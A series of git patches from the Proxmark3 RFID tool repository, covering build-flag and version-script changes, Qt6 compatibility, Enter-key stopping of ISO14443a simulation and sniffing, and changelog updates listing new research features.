From 338ab9c81ad88c2dbc6e2c2e2962c57a0b629ec9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 25 Feb 2026 16:15:01 +0100 Subject: [PATCH 001/162] Revert "Release v4.21128 - Permafrost" This reverts commit b10235b03b5aefe5caa1b6b3e27ae446db74ef17. --- Makefile.defs | 4 ++-- armsrc/Makefile | 2 +- bootrom/Makefile | 2 +- client/CMakeLists.txt | 4 ++-- client/Makefile | 4 ++-- client/deps/amiibo.cmake | 2 +- client/deps/cliparser.cmake | 2 +- client/deps/hardnested.cmake | 18 ++++++++-------- client/deps/id48/src/Makefile | 2 +- client/deps/id48lib.cmake | 2 +- client/deps/jansson.cmake | 2 +- client/deps/lua.cmake | 2 +- client/deps/mbedtls.cmake | 2 +- client/deps/mqtt.cmake | 2 +- client/deps/reveng.cmake | 2 +- client/deps/tinycbor.cmake | 2 +- client/deps/whereami.cmake | 2 +- client/experimental_lib/CMakeLists.txt | 4 ++-- client/src/proxmark3.c | 4 ++-- common/default_version_pm3.c | 29 +++++++++++++++++++------- common_arm/Makefile.common | 2 +- 21 files changed, 55 insertions(+), 40 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index 1ca62ec2a..35b29cca7 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -112,8 +112,8 @@ ifeq ($(DEBUG),1) DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe DEFLDFLAGS = else - DEFCXXFLAGS = -Wall -O3 -pipe - DEFCFLAGS = -Wall -O3 -fstrict-aliasing -pipe + DEFCXXFLAGS = -Wall -Werror -O3 -pipe + DEFCFLAGS = -Wall -Werror -O3 -fstrict-aliasing -pipe DEFLDFLAGS = endif diff --git a/armsrc/Makefile b/armsrc/Makefile index b440340e8..e6f4f56e4 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -190,7 +190,7 @@ showinfo: # version_pm3.c should be checked on every time fullimage.stage1.elf should be remade version_pm3.c: default_version_pm3.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) .FORCE $(info [-] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) $(info [-] GEN $@) diff --git a/bootrom/Makefile b/bootrom/Makefile index 86c785cd1..b6825530d 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -56,7 +56,7 @@ OBJS = $(OBJDIR)/bootrom.s19 # version_pm3.c should be checked on every compilation version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ all: showinfo $(OBJS) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 1fed1fd2b..16844fa94 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -438,7 +438,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -696,7 +696,7 @@ add_executable(proxmark3 ${ADDITIONAL_SRC} ) -target_compile_options(proxmark3 PUBLIC -Wall -O3) +target_compile_options(proxmark3 PUBLIC -Wall -Werror -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) add_dependencies(proxmark3 ncurses readline) diff --git a/client/Makefile b/client/Makefile index 9881b42c3..b305e9e09 100644 --- a/client/Makefile +++ b/client/Makefile @@ -462,7 +462,7 @@ endif PM3CFLAGS += -DHAVE_SNPRINTF -CXXFLAGS ?= -Wall +CXXFLAGS ?= -Wall -Werror CXXFLAGS += $(MYDEFS) $(MYCXXFLAGS) $(MYINCLUDES) PM3CXXFLAGS = $(CXXFLAGS) @@ -1021,7 +1021,7 @@ src/pm3_pywrap.c: pm3.i # version_pm3.c should be checked on every compilation src/version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) diff --git a/client/deps/amiibo.cmake b/client/deps/amiibo.cmake index 8c524c170..c946c0682 100644 --- a/client/deps/amiibo.cmake +++ b/client/deps/amiibo.cmake @@ -19,7 +19,7 @@ target_link_libraries(pm3rrg_rdv4_amiibo PRIVATE m pm3rrg_rdv4_mbedtls) -target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_amiibo PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_amiibo PRIVATE amiitool diff --git a/client/deps/cliparser.cmake b/client/deps/cliparser.cmake index a85cc2374..fccae33b7 100644 --- a/client/deps/cliparser.cmake +++ b/client/deps/cliparser.cmake @@ -9,5 +9,5 @@ target_include_directories(pm3rrg_rdv4_cliparser PRIVATE ../../include ../src) target_include_directories(pm3rrg_rdv4_cliparser INTERFACE cliparser) -target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_cliparser PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/hardnested.cmake b/client/deps/hardnested.cmake index 468ee4ef2..ec545e2a8 100644 --- a/client/deps/hardnested.cmake +++ b/client/deps/hardnested.cmake @@ -2,7 +2,7 @@ add_library(pm3rrg_rdv4_hardnested_nosimd OBJECT hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) -target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_nosimd PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_nosimd PRIVATE @@ -32,7 +32,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_mmx BEFORE PRIVATE -mmmx -mno-sse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_mmx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -47,7 +47,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_sse2 BEFORE PRIVATE -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_sse2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -62,7 +62,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx BEFORE PRIVATE -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -77,7 +77,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx2 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -92,7 +92,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx512 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mavx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx512 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -116,7 +116,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM64_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_neon PRIVATE @@ -134,7 +134,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM32_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_neon BEFORE PRIVATE -mfpu=neon) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -155,7 +155,7 @@ add_library(pm3rrg_rdv4_hardnested STATIC hardnested/hardnested_bruteforce.c $ ${SIMD_TARGETS}) -target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested PRIVATE ../../common diff --git a/client/deps/id48/src/Makefile b/client/deps/id48/src/Makefile index be483aa11..245ef95d5 100644 --- a/client/deps/id48/src/Makefile +++ b/client/deps/id48/src/Makefile @@ -1,7 +1,7 @@ # Proxmark3-specific Makefile for ID48LIB library MYSRCPATHS = MYINCLUDES = -I../public -MYCFLAGS = -Wpedantic -Wall -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function +MYCFLAGS = -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function MYDEFS = -DID48_NO_STDIO MYSRCS = \ id48_data.c \ diff --git a/client/deps/id48lib.cmake b/client/deps/id48lib.cmake index ec1887f01..39d58ceac 100644 --- a/client/deps/id48lib.cmake +++ b/client/deps/id48lib.cmake @@ -5,7 +5,7 @@ add_library(pm3rrg_rdv4_id48 STATIC id48/src/id48_generator.c id48/src/id48_recover.c ) -target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) +target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) target_include_directories(pm3rrg_rdv4_id48 PRIVATE id48/public) target_include_directories(pm3rrg_rdv4_id48 INTERFACE id48/public) set_property(TARGET pm3rrg_rdv4_id48 PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/jansson.cmake b/client/deps/jansson.cmake index 42c701d5e..c91a47047 100644 --- a/client/deps/jansson.cmake +++ b/client/deps/jansson.cmake @@ -14,5 +14,5 @@ add_library(pm3rrg_rdv4_jansson STATIC target_compile_definitions(pm3rrg_rdv4_jansson PRIVATE HAVE_STDINT_H) target_include_directories(pm3rrg_rdv4_jansson INTERFACE jansson) -target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Wno-unused-function -O3) +target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Werror -Wno-unused-function -O3) set_property(TARGET pm3rrg_rdv4_jansson PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/lua.cmake b/client/deps/lua.cmake index 3bf85e1ce..d89275be6 100644 --- a/client/deps/lua.cmake +++ b/client/deps/lua.cmake @@ -52,5 +52,5 @@ if (NOT MINGW) endif (NOT MINGW) target_include_directories(pm3rrg_rdv4_lua INTERFACE liblua) -target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_lua PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mbedtls.cmake b/client/deps/mbedtls.cmake index a4332d45e..f33d5ac51 100644 --- a/client/deps/mbedtls.cmake +++ b/client/deps/mbedtls.cmake @@ -49,5 +49,5 @@ add_library(pm3rrg_rdv4_mbedtls STATIC target_include_directories(pm3rrg_rdv4_mbedtls PRIVATE ../../common) target_include_directories(pm3rrg_rdv4_mbedtls INTERFACE ../../common/mbedtls) -target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_mbedtls PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mqtt.cmake b/client/deps/mqtt.cmake index 156cc3703..f30e761c3 100644 --- a/client/deps/mqtt.cmake +++ b/client/deps/mqtt.cmake @@ -5,5 +5,5 @@ add_library(pm3rrg_rdv4_mqtt STATIC target_compile_definitions(pm3rrg_rdv4_mqtt PRIVATE WAI_PM3_TUNED) target_include_directories(pm3rrg_rdv4_mqtt INTERFACE mqtt) -target_compile_options(pm3rrg_rdv4_mqtt PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_mqtt PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_mqtt PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/reveng.cmake b/client/deps/reveng.cmake index 1040730f1..d7e3cfd8a 100644 --- a/client/deps/reveng.cmake +++ b/client/deps/reveng.cmake @@ -13,5 +13,5 @@ target_include_directories(pm3rrg_rdv4_reveng PRIVATE ../src ../../include) target_include_directories(pm3rrg_rdv4_reveng INTERFACE reveng) -target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_reveng PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/tinycbor.cmake b/client/deps/tinycbor.cmake index c74618149..5a6abda25 100644 --- a/client/deps/tinycbor.cmake +++ b/client/deps/tinycbor.cmake @@ -11,5 +11,5 @@ add_library(pm3rrg_rdv4_tinycbor STATIC target_include_directories(pm3rrg_rdv4_tinycbor INTERFACE tinycbor) # Strange errors on Mingw when compiling with -O3 -target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -O2) +target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -Werror -O2) set_property(TARGET pm3rrg_rdv4_tinycbor PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/whereami.cmake b/client/deps/whereami.cmake index 721873066..d2d6a5b2a 100644 --- a/client/deps/whereami.cmake +++ b/client/deps/whereami.cmake @@ -2,5 +2,5 @@ add_library(pm3rrg_rdv4_whereami STATIC whereami/whereami.c) target_compile_definitions(pm3rrg_rdv4_whereami PRIVATE WAI_PM3_TUNED) target_include_directories(pm3rrg_rdv4_whereami INTERFACE whereami) -target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_whereami PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 253c5d12e..d043e5b99 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -438,7 +438,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -698,7 +698,7 @@ add_library(pm3rrg_rdv4 SHARED target_compile_definitions(pm3rrg_rdv4 PRIVATE LIBPM3) -target_compile_options(pm3rrg_rdv4 PUBLIC -Wall -O3) +target_compile_options(pm3rrg_rdv4 PUBLIC -Wall -Werror -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) add_dependencies(pm3rrg_rdv4 ncurses readline) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 854a5c7c5..fd2043d59 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -45,8 +45,8 @@ static int mainret = PM3_SUCCESS; #ifndef LIBPM3 #define BANNERMSG1 "" -#define BANNERMSG2 -#define BANNERMSG3 " Release... v4.21128 - Permafrost" +#define BANNERMSG2 "" +#define BANNERMSG3 "" typedef enum LogoMode { UTF8, ANSI, ASCII } LogoMode; diff --git a/common/default_version_pm3.c b/common/default_version_pm3.c index 2164b3653..d93a7ef15 100644 --- a/common/default_version_pm3.c +++ b/common/default_version_pm3.c @@ -1,5 +1,20 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- #include "common.h" -/* Generated file, do not edit */ +/* This is the default version_pm3.c file that Makefile.common falls back to if sh is not available */ #ifndef ON_DEVICE #define SECTVERSINFO #else @@ -8,10 +23,10 @@ const struct version_information_t SECTVERSINFO g_version_information = { VERSION_INFORMATION_MAGIC, - 1, - 1, - 2, - "Iceman/master/v4.21128", - "2026-02-25 16:15:01", - "ddaba4e24" + 1, /* version 1 */ + 0, /* version information not present */ + 2, /* cleanliness couldn't be determined */ + "Iceman/master/unknown", + "1970-01-01 00:00:00", + "no sha256" }; diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index a845963b2..e8e574112 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -49,7 +49,7 @@ VPATH = . ../common_arm ../common ../common/crapto1 ../common/mbedtls ../common/ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/pm3_cmd.h ARMCFLAGS = -mthumb-interwork -fno-builtin -DEFCFLAGS = -Wall -Os -pedantic -fstrict-aliasing -pipe +DEFCFLAGS = -Wall -Werror -Os -pedantic -fstrict-aliasing -pipe # Some more warnings we want as errors: DEFCFLAGS += -Wbad-function-cast -Wchar-subscripts -Wundef -Wunused -Wuninitialized -Wpointer-arith -Wformat -Wformat-security -Winit-self -Wmissing-include-dirs -Wnested-externs -Wempty-body -Wignored-qualifiers -Wmissing-field-initializers -Wtype-limits From 4f74cfba2f6efe5d1ff199c5b636dd63ec212c38 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 25 Feb 2026 16:16:25 +0100 Subject: [PATCH 002/162] text --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cad05b438..0b8d27cf5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] -## [Permafrost][2026-02-25] +## [Permafrost.4.21128][2026-02-25] - Added standalone mode `HF_DOEGOX_AUTH0`: UL-C / UL-AES unlocker (@doegox) - Fixed `lf t55xx wakeup` options parsing (@suut) - Added `--` arg separator to client to pass following args to scripts (@doegox) From acb2dc0e1064db16968c33aba1e9552799611d48 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 25 Feb 2026 17:55:40 +0100 Subject: [PATCH 003/162] Add SKIPUV for package maintainers --- tools/pm3_tests.sh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 9d23f4f7a..b22e48ed8 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -1,5 +1,9 @@ #!/usr/bin/env bash +# For Python tests, uv will be used if present. +# You can forcibly ignore it with +# SKIPUV=1 ./pm3_tests.sh + # This is used to make sure that the language for the functions is english instead of the system default language. LANG=C @@ -7,8 +11,8 @@ PM3PATH="$(dirname "$0")/.." cd "$PM3PATH" || exit 1 PYTHON=python3 -if command -v uv >/dev/null 2>&1; then - PYTHON="uv run --script" +if [ "${SKIPUV:-0}" != "1" ] && command -v uv >/dev/null 2>&1; then + PYTHON="uv run --script" fi DICPATH="./client/dictionaries" From 478371222510de5bf02bb71f46e9f6281158c98b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 25 Feb 2026 19:27:28 +0100 Subject: [PATCH 004/162] make client Qt6 ready. Still need proper Makefile/CMake support... --- client/src/proxguiqt.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/src/proxguiqt.cpp b/client/src/proxguiqt.cpp index 393bce74f..b84a950dc 100644 --- a/client/src/proxguiqt.cpp +++ b/client/src/proxguiqt.cpp @@ -1282,7 +1282,11 @@ void Plot::wheelEvent(QWheelEvent *event) { } void Plot::mouseMoveEvent(QMouseEvent *event) { +#if QT_VERSION >= 0x060000 + int x = (int)event->position().x(); +#else int x = event->x(); +#endif //Only run the marker place code if a mouse button is pressed if ((event->buttons() & Qt::LeftButton) || (event->buttons() & Qt::RightButton)) { From 766065e6e47413c2e8db74bb67ca66f8cccaebb7 Mon Sep 17 00:00:00 2001 From: "Aaron Tulino (Aaronjamt)" Date: Wed, 25 Feb 2026 19:37:32 -0700 Subject: [PATCH 005/162] [14a sim] Stop sim with Enter key --- client/src/cmdhf14a.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 14ddfd60f..48024af57 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -1040,9 +1040,10 @@ int CmdHF14ASim(const char *Cmd) { sector_t *k_sector = NULL; size_t k_sectors_cnt = MIFARE_4K_MAXSECTOR; - PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort simulation"); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("") " to abort simulation"); bool keypress = kbd_enter_pressed(); while (keypress == false) { + keypress = kbd_enter_pressed(); if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == false) { continue; @@ -1058,15 +1059,11 @@ int CmdHF14ASim(const char *Cmd) { const nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); - - keypress = kbd_enter_pressed(); } if (keypress) { - if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { - // inform device to break the sim loop since client has exited - SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - } + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); } PrintAndLogEx(INFO, "Done!"); From a468265f5e3ffc374cd2616535073bec69910840 Mon Sep 17 00:00:00 2001 From: "Aaron Tulino (Aaronjamt)" Date: Wed, 25 Feb 2026 19:43:21 -0700 Subject: [PATCH 006/162] [14a sniff] Stop sniff with Enter key --- armsrc/iso14443a.c | 9 +++++++++ client/src/cmdhf14a.c | 23 ++++++++++++++++++++--- 2 files changed, 29 insertions(+), 3 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 743092c8b..8b166205e 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -852,11 +852,20 @@ void RAMFUNC SniffIso14443a(uint8_t param) { uint32_t rx_samples = 0; + uint16_t checker = 12000; + // loop and listen while (BUTTON_PRESS() == false) { WDT_HIT(); LED_A_ON(); + if (checker-- == 0) { + if (data_available()) { + break; + } + checker = 12000; + } + register int readBufDataP = data - dma->buf; register int dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; if (readBufDataP <= dmaBufDataP) { diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 14ddfd60f..d2db2de42 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -1105,14 +1105,31 @@ int CmdHF14ASniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO14443A_SNIFF, (uint8_t *)¶m, sizeof(uint8_t)); - PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort sniffing"); - if (interactive) { + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("") " to abort sniffing"); + PacketResponseNG resp; - WaitForResponse(CMD_HF_ISO14443A_SNIFF, &resp); + + bool keypress = kbd_enter_pressed(); + while (keypress == false) { + keypress = kbd_enter_pressed(); + + if (WaitForResponseTimeout(CMD_HF_ISO14443A_SNIFF, &resp, 500)) { + break; + } + } + + if (keypress) { + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + WaitForResponse(CMD_HF_ISO14443A_SNIFF, &resp); + } + PrintAndLogEx(INFO, "Done!"); PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14a list")"` to view captured tracelog"); PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + } else { + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort sniffing"); } return PM3_SUCCESS; } From ed5f877362734122e801f5bc755111d1324adc14 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 26 Feb 2026 18:09:15 +0100 Subject: [PATCH 007/162] changelog --- CHANGELOG.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b8d27cf5..17d05d0f3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,13 +8,17 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added standalone mode `HF_DOEGOX_AUTH0`: UL-C / UL-AES unlocker (@doegox) - Fixed `lf t55xx wakeup` options parsing (@suut) - Added `--` arg separator to client to pass following args to scripts (@doegox) +- Added `hf mfu cchk/aeschk` and options to `hf mf cauth/aesauth` (@doegox) +- Added support to inject card auth replies in `hf mfu sim` (@doegox) +- Added ntag22x_suncmac_recovery and mfulaes_mask_recovery scripts (@doegox) +- Added mfulc_counterfeit_recovery script and mfulc_des_brute tool (@np0 & @doegox) - Fixed ISO14443-4 type B NDEF workflow + parsing (@team-orangeBlue) - Added Snapmaker U1 filament spool KDF in `hf mf keygen` (@Foxushka) - Replaced `hf mf bambukeys` with `hf mf keygen` with multiple KDFs support (@Foxushka) -- Fix `hf seos adf/pacs` handling of cards with different diversifier lengths and different ADF OIDs (@nvx) +- Fixed `hf seos adf/pacs` handling of cards with different diversifier lengths and different ADF OIDs (@nvx) - Added `data qrcode` - to generate QR codes from inside the pm3 client (@iceman1001) -- Fix unicode on mingw/proxspace (@nvx) -- Fix `hf felica raw` - wrong length calculationes. Thanks @dxl for the solutions! (@iceman1001) +- Fixed unicode on mingw/proxspace (@nvx) +- Fixed `hf felica raw` - wrong length calculationes. Thanks @dxl for the solutions! (@iceman1001) - Added basic QR code generation support. Thanks @mistial-dev for the idea! (@iceman1001) - Added identification of NDEF/Open print tag record (@iceman1001) - Added support for Bruce dump files [.rfid] (@iceman1001) @@ -30,13 +34,13 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added Ultralight AES basic DataProtKey emulation support (@doegox) - Changed `mem info` and how the signature handling is done (@iceman1001) - Added `client/resources/pm3_generic_private_key.pem` in order to self-sign a modded device (@iceman1001) 